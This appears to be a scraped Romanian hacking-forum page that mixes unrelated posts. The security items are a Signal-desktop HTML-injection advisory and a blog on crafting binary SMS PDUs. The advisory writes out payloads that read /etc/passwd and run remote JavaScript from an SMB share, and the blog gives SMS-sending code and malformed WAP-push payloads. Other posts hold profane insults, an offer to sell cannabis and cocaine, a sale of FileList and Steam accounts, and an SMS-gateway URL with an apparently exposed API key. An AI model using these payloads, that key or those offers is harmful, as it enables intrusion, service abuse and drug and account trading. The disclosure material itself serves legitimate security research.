Leaderboard

M-am oprit la "Asa e romanul vai de capul lui". As fi vrut sa iti explic de ce esti idiot, dar nu merita timpul pierdut. Probabil o sa te transformi inca unul cu diploma de licenta, angajat pe la multinationale (kfc, mcdonalds).

Salut, Iti propun sa schimbi dealer-ul. Poti sa vi la mine, ma faci pe mine cu bani nu pe altu Iti fac reducere, Speish,Has,Maria ce vrea pula ta Iti aduc si coca pe comanda

Photonic Side Channel Attacks Against RSA Elad Carmon, Jean-Pierre Seifert, Avishai Wool Abstract This paper describes the first attack utilizing the photonic side channel against a public-key crypto-system. We evaluated three common implementations of RSA modular exponentiation, all using the Karatsuba multiplication method. We discovered that the key length had marginal impact onresilience to the attack: attacking a 2048-bit key required only 9% more decryption attempts than a 1024-bit key. We found that the most dominant parameter impacting the attacker’s effort is the minimal block size at which the Karatsuba method reverts to naive multiplication: even for parameter values as low as 32 or 64 bits our attacks achieve 100% success rate with under 10,000 decryption operations. Somewhat surprisingly, we discovered that Montgomery’s Ladder—commonly perceived as the most resilient of the three implementations to side-channel attacks—was actually the most susceptible: for 2048-bit keys, our attack reveals 100% of the secret key bits with as few as 4000 decryptions. Link: https://eprint.iacr.org/2017/108.pdf

signal-desktop HTML tag injection advisory Title: Signal-desktop HTML tag injection Date Published: 2018-05-14 Last Update: 2018-05-14 CVE Name: CVE-2018-10994 Class: Code injection Remotely Exploitable: Yes Locally Exploitable: No Vendors contacted: Signal.org Vulnerability Description: Signal-desktop is the standalone desktop version of the secure Signal messenger. This software is vulnerable to remote code execution from a malicious contact, by sending a specially crafted message containing HTML code that is injected into the chat windows (Cross-site scripting). Vulnerable Packages: Signal-desktop messenger v1.7.1 Signal-desktop messenger v1.8.0 Signal-desktop messenger v1.9.0 Signal-desktop messenger v1.10.0 Originally found in v1.9.0 and v1.10.0, but after reviewing the source code the aforementioned are the impacted versions. Solution/Vendor Information/Workaround Upgrade to Signal-desktop messenger v1.10.1 or v1.11.0-beta.3 For safer communications on desktop systems, please consider the use of a safer end-point client like PGP or GnuPG instead. Credits: This vulnerability was found and researched by Iván Ariel Barrera Oro (@HacKanCuBa), Alfredo Ortega (@ortegaalfredo) and Juliano Rizzo (@julianor), with assistance from Javier Lorenzo Carlos Smaldone (@mis2centavos). Technical Description – Exploit/Concept Code While discussing a XSS vulnerability on a website using the Signal-desktop messenger, it was found that the messenger software also displayed a code-injection vulnerability while parsing the affected URLs. The Signal-desktop software fails to sanitize specific html-encoded HTML tags that can be used to inject HTML code into remote chat windows. Specifically the <img> and <iframe> tags can be used to include remote or local resources. For example, the use of iframes enables full code execution, allowing an attacker to download/upload files, information, etc. The <script> tag was also found injectable. In the Windows operative system, the CSP fails to prevent remote inclusion of resources via the SMB protocol. In this case, remote execution of JavaScript can be achieved by referencing the script in a SMB share as the source of an iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html>. The included JavaScript code is then executed automatically, without any interaction needed from the user. The vulnerability can be triggered in the signal-desktop client by sending a specially crafted message. Examples: Show an iframe with some text: http://hacktheplanet/?p=%3Ciframe%20srcdoc="<p>PWONED!!</p>"%3E%3C/iframe%3E Display content of user’s own /etc/passwd file: http://hacktheplanet/?p=%3d%3Ciframe%20src=/etc/passwd%3E Include and execute a remote JavaScript file (for Windows clients): http://hacktheplanet/?p=%3d%3Ciframe%20src=\\XXX.XXX.XXX.XXX\Temp\test.html%3E Show a base64-encoded image (bypass “click to download image”): http://hacktheplanet/?p=%3Cimg%20src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/wAALCAAtADwBAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/AMapRbv5YckKD0z1pPJbjJAzSGIgjcQMnFEkZSTZkE+1STWksTKrAZbpThYzfLuAUN3JFJ9kkyeV4PrTBFyNzCpSGuZiRgY4ArRgtAvzSfMfSqN3EYpjsA2noTg1B87HlqNrnqxP40nlt6ml8pvWo/MY/wARqzAzcEVorK24RuAAw4IqLUo2EKFFJIOM9azN8oOMkfhTz9oVdxDhfWlR3ZOWJ/Gpdzep/OqVTQEq2MVpo4aNWABKHnNLIzNHGW7OST6DFZ92wEoAGAvX3qNrl/KaEH5CePaliPyYqVTwKrIu41O1u0Z4BP06irUDKiky5DYx04p8sxddpwFA6etZcrFnJPepLa2NwSFPIoQbQVPUHFTLjFUskd6d5j/3m/Ok3sf4j+dG9j/EfzpKVXZPusR9DSZPrS7j6mv/2Q=="%3e Timeline: 2018-05-10 18:45 GMT-3: vuln discovered 2018-05-11 13:03 GMT-3: emailed Signal security team 2018-05-11 15:02 GMT-3: reply from Signal: vuln confirmed & patch ongoing 2018-05-11 16:12 GMT-3: patch committed 2018-05-11 18:00 GMT-3: signal-desktop update published 2018-05-14 18:00 GMT-3: public disclosure References: Patch: https://github.com/signalapp/Signal-Desktop/compare/v1.11.0-beta.2…v1.11.0-beta.3 Writeup: https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection/ Sursa: https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection/advisory/

Binary SMS - The old backdoor to your new thing Despite being older than many of its users, Short Messaging Service (SMS) remains a very popular communications medium and is increasingly found on remote sensors, critical infrastructure and vehicles due to an abundance of cellular coverage. To phone users, SMS means a basic 160 character text message. To carriers and developers it offers a much more powerful range of options, with sizes up to a theoretical maximum of 35KB and a myriad of binary payloads detailed within the GSM 03.40 specification. Carriers make use of these advanced features for remote management. They can send remote command SMS messages to trigger and interact with hidden applications on their devices without the user's consent. Law Enforcement can track a phone with 'silent' SMS messages designed not to alert the user. SMS technology underpins a lot of Mobile Device Management (MDM) frameworks. The coupling between a smart-phone’s software and it's radio is a lot closer than you might think. SMS messages containing malicious payloads can be targeted at listening applications on a device and from there processed by the target software. If the software is poorly written, remote memory corruption and arbitrary code execution are possible.The vehicle for getting a payload to a target application on a phone (or smart device) is the Protocol Data Unit (PDU) which contains framed user data which is forwarded, without inspection, to a logical port on the operating system – with the privileges of the radio (System normally). This is comparable to a computer running open services on the internet without a firewall. Legalities and options The GSM spectrum is very expensive private property. You may not transmit (or even receive) in GSM bands without permission. In the UK, it is an offence under the Wireless Telegraphy Act to transmit on licensed bands without permission and furthermore intercepting GSM without a warrant is an offence under the Regulation of Investigatory Powers Act.You should apply for a licence (example from OFCOM below) before commencing GSM testing and will also need a faraday cage to suppress radiation. (For these reasons, GSM interfaces get less scrutiny than TCP/IP for example). If you feel compelled to write another OpenBTS blog, we recommend not publishing screenshots that suggest you broke the law as this would be very irresponsible and could compromise your company's reputation. For users on a budget, you can send SMS PDUs as a regular subscriber over an existing public carrier using a GSM modem but you must check your carrier's terms and conditions first.Using Vodafone's Terms and Conditions for example, customers are not allowed to use the service to break the law or use automated means to send texts. Scripting your testing to attack someone else's phone would definitely not be allowed but manually sending an SMS PDU (or two) to test a phone you own could be OK. It is up to you to satisfy yourself that you are compliant with your carrier's terms and conditions. SMS PDU mode There are two defined modes for SMS: Text and raw PDU mode. In PDU mode, the entire frame can be defined which opens up a huge attack surface in the form of the (user defined) encapsulating fields as well as the prospect for a malicious payload to be received by a target application on the phone. The beauty of PDU mode is a poorly written software application on a handset can be exploited remotely.This is made possible through the Protocol Data Unit (PDU) which allows large messages to be fragmented as Concatenated SMS (C-SMS) and crucially from a security aspect, messages to be addressed to different applications on a mobile using port numbers akin to TCP/IP. WAP push is a popular example of a binary PDU. A typical WAP push message from your carrier may contain GPRS or MMS configuration settings which after reassembly appears as a special message which requests user permission to define new network configuration values defined within an XML blob. WAP might well be a legacy protocol, but it's a powerful legacy protocol which can be used for many malicious purposes. Displaying a text message is optional. Some SMS messages can be sent to your handset without your knowledge and will never appear in your inbox (a silent SMS). Message display can also be forced by setting the 'Class 0' type (flash SMS) which will cause the SMS to display in the foreground without user interaction. This public alerting system is used in the US by the emergency services and is typically delivered as a cell broadcast whereby all subscribers attached to a tower receive the SMS simultaneously. SMS test environment options When testing SMS PDUs you can do it in your own private test environment with a GSM test licence or over a public carrier. A private environment has several key advantages: Cost – Sending lots of SMS messages can be expensive, especially once you start concatenating messages. Control – SMS messages on a busy carrier are subject to unpredictable delays and contractual restrictions Debugging – a private environment will allow you to monitor messages and responses on the air interface which is essential for early testing. A public carrier is (potentially) much cheaper and quicker to use, with just a 3G dongle, but forfeits control and is subject to the terms and conditions of your carrier which may not allow testing with their network. Private SMS test environment To inspect SMS PDUs on the air interface a GSM base station is required. One of the best known open source base stations is OpenBTS, for which there are many setup tutorials for many different platforms. In our experience of OpenBTS it is indeed quick to setup but it's PDU handling needs work. It has a Command Line Interface (CLI) for sending both types of SMS but we found the PDU validation routine to be buggy for Mobile Terminated (MT) SMS messages which is exactly what we're interested in. After spending a long time nailing down the validation issue (and judging by the developer's comments and try/catch blocks we weren't alone) we happened across YateBTS which we found to have better support for testing MT-SMS. YateBTS can be installed on a Raspberry Pi 3 which gives the advantage of having it in a small portable form so you can place it inside the faraday cage for example so it can be accessed by many users on a LAN. You should keep the distance between the radio and the host computer as short as possible and do not daisy chain USB cables as the clock requirements are so precise you will experience stability issues. Kit list All prices are approximate. A cellar or room with double concrete walls could be used instead of a faraday cage providing your licensing authority are satisfied it will suppress emissions sufficiently (>60dB). Twelve inch concrete blocks have 35dB of attenuation at 900MHz. Ettus USRP B200 with 2 900MHz antennas: £600 Ettus GPS disciplined oscillator (TCXO) with GPS antenna: £500 Ramsey STE3000 RF enclosure: £1500 Raspberry Pi 3: £35 YateBTS: Free Wireshark: Free Osmo-trx driver: Free Ettus UHD library: Free Total: £2635 Building Open source BTS tutorials age off quicker than a Gentoo kernel due to the fast moving world of open source GSM and the dynamic dependencies required. We recommend focusing on learning the standard and concepts rather than particular packages but if you want a recent tutorial, you'll find a comprehensive tutorial for an open source BTS (Yate) on a Pi here. OpenBTS and YateBTS don't prescribe hardware or drivers so you can use it with multiple radios, providing they support the precise timing requirements of a GSM base station which are for an error rate of 0.05 ppm. This is more relaxed for pico cells at 0.1ppm. If you attempt to stand up a BTS without a precision clock source you will find it is unstable. You may get lucky and get your handset to see the network and attach to it briefly at close range but it won't last and will quickly fall over once you commence testing. A precision clock is essential. The GPS unit we used requires an external GPS receive antenna and does take a while to acquire a fix (Green LED) initially. A key configuration change for using a low power PC like a Pi is the third party radio driver which must be defined within ../etc/yate/ybts.conf. We had success with the official Ettus UHD driver but opted for the ARM friendly osmo-trx transceiver compiled with UHD 003.010 defined as Path=./osmo-trx and homed at ../lib/yate/server/bts/osmo-trx Testing Understanding the many unique aspects of the GSM air interface is not necessary to perform SMS testing but having a basic understanding of paging will help. Getting your handset to attach initially is half the battle, after that the rest is quite straightforward and very much in the realm of computing not RF. The gsmtap PCAP output is an invaluable tool in testing your setup and monitoring traffic on the air interface. To use it, enter Yate's web UI and update the monitoring IP to your own, check the gsmtap box, then spin up wireshark on your external interface. This feature can be used remotely which is convenient for users on a LAN. The gsmtap UDP packets for both the uplink and downlink will be sent blindly to port 4729 on your host and will likely elicit ICMP port closed responses. A healthy BTS will be broadcasting data frames constantly on its Broadcast Channel (BCCH) and subscribers will be able to attach to it providing their International Mobile Subscriber Identifier (IMSI) is allowed under the access rules. When initiating an SMS, the first thing the BTS does is page the handset on the Common Control Channel (CCCH) to test for it's presence. The handset should respond in kind after which the BTS will send the SMS PDU(s) on the Standalone Dedicated Control Channel (SDCCH). In the screenshot below, a concatenated 3 part SMS has been sent over our YateBTS by subscriber 12345. Only when the final fragment arrives is it reassembled into a complete SMS. Each fragment is acknowledged separately which is helpful for debugging concatenation issues. Wireshark filters Only GSM: gsmtap && !icmp Only paging activity: gsmtap.chan_type == CCCH && !icmp Only SMS (Uplink / Downlink): gsm_a.dtap.msg_sms_type == 0x01 Only SMS from originator 12345: gsm_sms.tp-oa == "12345" Only SMS ack from subscriber: gsm_a.rp.msg_type == 0x02 To send a PDU with YateBTS you can either use the dedicated script in the web interface at /nib_web/custom_sms.php or the more flexible telnet interface on TCP port 5038.Both methods require the IMSI of the recipient which you can find from the registered subscribers list or by monitoring handset registration and paging on the air interface.We wrapped the telnet interface with our own PHP script using the socket API like so: // PHP $cmd="control custom_sms called=$imsi $type=rpdu";$socket = fsockopen("localhost", "5038", $errno, $errstr); fputs($socket, "$cmd "); With our SMS web API we were not only able to let other researchers on the LAN send PDUs but also de-skill the knowledge required to perform SMS testing. The PDU sent on the air interface looks different than the PDU sent over the public network because of differences in SMS-DELIVER (BTS > MS) and SMS-SUBMIT (MS > BTS) formats. To learn more about PDUs see the PDU section. Public SMS test environment PDU testing doesn't have to be expensive. You can send custom PDUs using any GSM device on which you can issue AT modem commands. A practical solution is a 3G dongle such as the Huawei E3533 or even a basic development board such as the Adafruit FONA series. Using the £20 Huawei E3533 as an example, you will need to ensure the device is connected in GSM modem mode, not Ethernet adapter or mass storage etc. To do this with Linux issue a usb_modeswitch command as follows: usb_modeswitch -v 0x12d1 -p 0x1f01 -V 0x12d1 -P 0x14db -M "55534243123456780000000000000011063000000100010000000000000000" More device specific commands are available in the forum at http://www.draisberghof.de/usb_modeswitch/bb/ Once you have a /dev/ttyUSBx, connect to it with a serial console like minicom and issue the following Hayes AT commands:AT+CMGF=0 to place the modem into PDU mode. AT+CMGS=n to prepare to send a PDU of length n bytes, followed by the PDU itself in hexadecimal form. To obtain the length take the total number of hexadecimal characters, divide it by 2 to get bytes then subtract 8 bytes for the recipient's number. Tip: Hit Ctrl-Z to send the PDU. Do not hit enter. The serial commands are easily scripted using Python's serial library. Before firing up your Python interpreter, bear in mind your carrier's terms and conditions regarding automated sending of SMS messages. So long as you are in control of each message's transmission you should be ok. Here's a basic Python client for sending a PDU via a GSM modem. # Python ser = serial.Serial(tty, 115200, timeout=5)ser.write('AT ')if "OK" in ser.read(64): print "CONNECTED TO MODEM OK" ser.write("AT+CMGF=0 ") # PDU mode ser.write("AT+CMGS=%d " % ((len(pdu)/2)-8)) time.sleep(1) ser.write('%s' % pdu) print ser.read(64) else: print "MODEM FAILURE"ser.close() Protocol Data Units (PDUs) The GSM 03.40 standard describes Transfer Protocol Data Units (TPDUs) which are used to convey an SMS. The TPDU is used throughout the messages journey across the telecoms network. There are different types of SMS PDUs. PDUs from the handset to the network are SMS-SUBMIT and could start with byte 0x01, PDUs from the network down to the handset are SMS-DELIVER and could start with byte 0x00 and are normally longer due to the addition of a 7 octet date service centre time stamp. The first byte is a bitmask of multiple flags and contains a lot of information. PDU encoding is complicated but thankfully there are many free online encoders and programming libraries like Python's smspdu to validate your PDU against the GSM 03.40 standard. Before jumping straight in and using one it's important you understand some key fields and the significant difference between DELIVER and SUBMIT PDUs as many online decoders only do SUBMIT and not DELIVER. We've tested lots and recommend Python's smspdu library. Example validation of a PDU: python -m smspdu [PDU] The Protocol Identifier (PID) field refers to the application layer protocol used. The default value 0x00 is used for plain short messages. Setting the PID to 0x64 would be a silent SMS known as a 'type 0' SMS which all handsets receive and must acknowledge without indicating its receipt to the user. As previously mentioned, this has been used by law enforcement to actively 'ping' a handset on a network. User data headers and concatenation When you want to target an application on a phone you need to define the destination port within the User Data Header (UDH) which sits between the PDU header and User Data (UD) and is declared early on with the User Data Header Indicator (UDHI) flag in the first octet. The UDH is also where Concatenated SMS (C-SMS) fragments are described. SMS allows for large (binary) payloads to be chunked up and sent as separate messages, not necessarily in sequence. This allows for up to 35,700 bytes of custom data to be sent to an application on a handset as 255 texts (Warning: You get billed per SMS). To chunk up a large message, it must first be split up into user data fragments not more than 140 octets each. A concatenated fragment is indicated via the UDHI flag in the first byte which indicates the first few bytes of the UD are fragment information which is used to reassemble the fragments later in order. Each fragment would be sent, preceded by the SMSC header, destination number, and the Protocol Identifier (PID) and Data Coding scheme (DCS) bytes. The fragment header contains the fragment count, a unique byte which serves as a batch identifier for all the fragments as well as the total number of fragments. Example UDH declaring 16 bit port addressing AND concatenation: 0A050B8457320003FF0201 0A: UDH length minus length field: 10 05: 16 bit application port addressing (Next four octets) 0B84: Destination port: 2948 (WAP push) 5732: Source port: 1664 00: Concatenated SMS 03: Information Element length for C-SMS section: 3 FF: Unique message identifier: 255 02: Fragments total: 2 01: This fragment: 1 For more UDH options see the 3GPP 23.040 standard. Hello World! SMS-SUBMIT PDU This PDU to MSISDN +441234567890 has the 'immediate display' flag set so will pop up as a flash SMS on the recipient's handset: 01000C9144214365870900000CC8329BFD065DDF72363904 Bear in mind that data encoding varies between sections. Some sections are special bit-masks, some are GSM 7 bit encoded and some are just plain old hexadecimal. 01: SMS-SUBMIT with default flags (Bitmask) 00: Message type 0 (bits 0-1)Reject duplicates flag set (bit 2) (Bitmask) 0C: Recipient length 12 digits (0x0C) 91: International ISDN/Telephone numbering plan (Bitmask) 442143658709: Recipient MSISDN (+441234567890) (GSM 7 bit encoding) 0000: Protocol identifier 0: Plain old SMS, Data Coding Scheme 0: Flash message (Bit mask) CC8329BFD065DDF72363904: User data: Hello World! (GSM 7 bit encoding) GSM interfaces on phones don't have firewalls With an Android phone you would see the following activity in the log when an SMS PDU is received. This shows the Radio Interface Layer (RIL) notifying the kernel of an incoming unsolicited PDU of length 168 (21 bytes). The full PDU is written to a SQLITE database, an automatic acknowledgement is sent (SMS-DELIVER-ACK) back to the network and finally the PDU is delivered to Android's privileged SMS receiver for onward processing, in this case to the message store although it could be routed to a listening application if a destination port is specified in the UDH. The only check is within the SmsHandler() which checks if SMS messages are allowed. There is no concept of packet inspection or port filters like an IP firewall. adb logcat -b radio I/RILC ( 2139): RIL_SOCKET_1 UNSOLICITED: UNSOL_RESPONSE_NEW_SMS length:168D/RILJ ( 2988): [UNSL]< UNSOL_RESPONSE_NEW_SMS [SUB0]D/GsmInboundSmsHandler( 2988): IdleState.processMessage:1D/GsmInboundSmsHandler( 2988): Idle state processing message type 1D/GsmInboundSmsHandler( 2988): acquired wakelock, leaving Idle stateD/GsmInboundSmsHandler( 2988): entering Delivering stateD/GsmInboundSmsHandler( 2988): DeliveringState.processMessage:1D/GsmInboundSmsHandler( 2988): isSMSBlocked=falseD/GsmInboundSmsHandler( 2988): URI of new row -> content://raw/1D/RILJ ( 2988): [9382]> SMS_ACKNOWLEDGE true 0 [SUB0]D/GsmInboundSmsHandler( 2988): DeliveringState.processMessage:2D/RILC ( 2139): SOCKET RIL_SOCKET_1 REQUEST: SMS_ACKNOWLEDGE length:20D/GsmInboundSmsHandler( 2988): Delivering SMS to: com.android.mms com.android.mms.transaction.PrivilegedSmsReceiver Targeting port 2948 with random data In this example, an SMS-SUBMIT containing 1000 characters of malformed WBXML has been concatenated as 7 fragments and targeted at a the WAP push application listening on port 2948.Because of the port number, an assumption about the data type of the payload is made (WBXML). This could be any binary data addressed to any port. PDU bytes: 41000C9144214365870900009B0B05040B8457320003FF0201C2E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E17018 41: SMS-SUBMIT with a user data header (Bitmask), Reject duplicates flag set (bit 2), User Data Header flag set (bit 3) 00: Message type 0 (bits 0-1) Immediate display 0C: Recipient length 12 digits (0x0C) 91: International ISDN/Telephone numbering plan (Bitmask) 442143658709: Recipient MSISDN (+441234567890 encoded as 7-bit ASCII) 0000: PID: 0, DCS: 0 9B: User data length (including UDH): 155 0B05040B8457320003FF0201:User Data Header (UDH). Length: 0x0B 16 bit port addressing: 0x05 Four octets long: 0x04 Destination port: 0x0B84 Source port: 0x5732 Concatenated SMS: 0x00 Three octets long: 0x03 Sequence identifier: 0xFF Total fragments: 0x02 This fragment: 0x01 C2E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E17018:User Data. Malformed WBXML composed of repeat sequence of letter 'a'. Conclusion SMS is a weak link in a handset's security. With it you can interact, remotely, with an application on someone's phone when the phone is not connected to the internet. Significantly it has no firewall so bad packets are always forwarded. Despite being an old specification it has received much less scrutiny than Internet Protocol for example and many applications (and non-conventional devices now) handle SMS PDUs with a greater level of trust than they afford IP packets for comparison. In our next SMS blog we'll employ these concepts to attack the application layer on a phone remotely... Contact and Follow-up Alex is a senior researcher based in Context's Cheltenham office. He has over 15 years' experience of engineering and analysing RF systems and protocols and specialises in electronic warfare and RF propagation. See the contact page for how to get in touch. Sursa: https://www.contextis.com/blog/binary-sms-the-old-backdoor-to-your-new-thing

Acum, "masoneria RST" nu protejează membrii forumului ci ii înrobeşte. Ai noştri mai fac glume gen "mata-i grasa" etc dar situația e gravă. Iar rădăcina dictaturii adminilor este în zona chatului. Ei tot încearcă acum să mâie diverşi disidenți într-o zonă "străină" ca să îi poată folosi ca spioni sau tranşa fără scandal, sunt nişte zeci de mii de torturați pe discord şi milioane în forum Adminii aceştia cruzi speră că în câteva zeci de ani vor construi peste tot sclavia perfectă, cu creiere în care nu mai există nimic altceva decât "c0ailii" lor, manipularea cu femei cu pula , cu cu "oglinjoarele" şi "pietricelele colorate" . Membri normali sunt ori chemați să "se alăture" jocului piramidal ori împinşi către moarte sau în cel mai bun caz către o banare.Forumul are aceleaşi probleme, fiind bogat în lurkeri. Deci nu este corect să spunem că sursa răului este în admini, chit că unii ar vrea până în ziua de azi să arunce fascismul în spinarea lui Tinkode. Totuşi, fascia este desenată pe dolari. "Shoulder by shoulder". Eu n-am sprijinit niciodată în societate căile de evaziune a justiției sau telecontrolul cerebral, dar acum prea mulți s-au dat pe brazda acestei masonerii care promite un viitor sclavagist, de aceea eu chiar n-am ce să lucrez cu ei.

Fratilor cititi chestii mai usoare, creierul vostru nu poate sa digere chiar tot.

Mai frate, si zici ca esti student terminal la informatica?!!! Ai invata la singurul curs ca RX TX este ceva exclusiv Arduino? Pe vremea mea orice elev de la Casa Pionierilor stia ce e acel RX TX. " ...pai da, viitorul tarii sunteti voi astia mai destepti, care vor "mita" ca sa invatati pe cineva ca altfel nici nu-i bagati in seama!" Adica ar trebui ca acel "mai destept" , care stie cu ce se mananca RX TX ( a naibii transmisii de date...) sa-ti faca proiectul doar pentru ca esti un disperat de "informatician" care pe langa asta este si a naibi de arogant! Ei, iti urez spor la treaba... gasesti tu o diploma la talciog ca sa fi un bun inginer!

Ba ce pula mea intrati zi de zi pe profilu meu si tu si @aramen si @prietenfals v-ati facut abonament? Va platesc part-time cu bonuri sa stati pe RST, si sa luati toate profilurile la rand??

Salutare la colegii din SRI!

Sa inteleg ca asta a fost pentru +1 ?

Vand 7 Conturi FileList + 10 Invitatii + Dota 2 (cont steam). Poze conturi FileList : Aici Poza contul Steam : Aici Pret : 4 Euro / Vodafone Contact : mZque_llg

Hi

Vad ca are sms-uri nelimitate https://www.opa-sms.ro/api/send/CVd4OLW9vzowpEx7PCwTO1248bGeI4WTDIWDM3d2/NUMAR TELEFON/MESAJ